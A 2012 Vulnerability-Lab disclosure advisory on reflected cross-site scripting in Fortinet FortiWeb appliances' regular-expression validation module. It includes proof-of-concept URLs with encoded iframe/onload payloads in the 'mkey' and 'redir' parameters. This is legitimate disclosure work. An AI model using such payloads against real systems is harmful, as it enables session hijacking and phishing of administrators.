Title:
======
FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities

Date:
=====
2012-12-01


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=702


VL-ID:
=====
702


Common Vulnerability Scoring System:
====================================
2.1


Introduction:
=============
FortiWeb web application firewalls protect, balance, and accelerate your web 
applications, databases, and any 
information exchanged between them. Whether you are protecting applications 
delivered over a large enterprise, 
service provider, or cloud-based provider network, FortiWeb appliances will 
reduce deployment time and 
simplify security management. Fortinet s FortiWeb™ has passed ICSA Web 
Application Firewall Certification. 
The latest model being tested is FortiWeb 1000C. ICSA Labs certifications are 
evidence of FortiWeb s commitment 
to uphold the industry s highest security standards. Achieving this 
certification ensures that FortiWeb™ customers 
benefit from best practices in the security industry for all their Web 
application needs.

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortiweb/ )



Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple cross site 
scripting vulnerabilities in 
Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.


Report-Timeline:
================
2012-10-01:     Researcher Notification & Coordination
2012-10-11:     Vendor Notification
2012-10-05:     Vendor Response/Feedback
2012-11-11:     Vendor Fix/Patch
2012-12-01:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Fortinet
Product: FortiWeb Application Series v4000C, 3000C/3000CFsx, 1000C, 400C & 
Virtual Appliance


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A non persistent cross site scripting vulnerability is detected in Fortinets 
FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.
The vulnerability allows remote attackers to hijack website customer, moderator 
or admin sessions with low or medium required user inter action 
and without local privileged application user account. The vulnerability is 
located in the Regular Expression - Validation (pcre_expression/validate) 
module with the bound vulnerable redir and mkey parameters. Successful 
exploitation results in client side account steal, client side phishing & 
client-side appliance module context request manipulation.


Vulnerable Module(s):
                                [+] Regular Expression - Validation Module 
(pcre_expression/validate)

Vulnerable Parameter(s):
                                [+] redir
                                [+] mkey


Proof of Concept:
=================
The client side cross site scripting vulnerability can be exploited by remote 
attackers without application user account and 
with medium required user interaction. For demonstration or reproduce ...

Code Review: Regular Expression - Validation Module (mkey & redir)

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) 
{window.close(); 
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22" 
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>

... or

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) 
{window.close(); 
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22" 
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>



PoC:
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0


Solution:
=========
The vulnerability can be patched by parsing all mkey and redir success 
parameter requests of the vulnerable Regular Expression - Validation module.

2012-11-11:     Vendor Fix/Patch


Risk:
=====
The security risk of the non persistent cross site scripting vulnerabilities 
are estimated as low(+)|(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(b...@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, 
indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have 
been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor 
licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
               - www.vulnerability-lab.com/register
Contact:    ad...@vulnerability-lab.com         - supp...@vulnerability-lab.com 
               - resea...@vulnerability-lab.com
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com   
               - news.vulnerability-lab.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab 
               - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php   - 
vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is 
granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All 
pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the 
specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (ad...@vulnerability-lab.com or 
supp...@vulnerability-lab.com) to get a permission.

                                        Copyright © 2012 | Vulnerability 
Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: resea...@vulnerability-lab.com


Reply via email to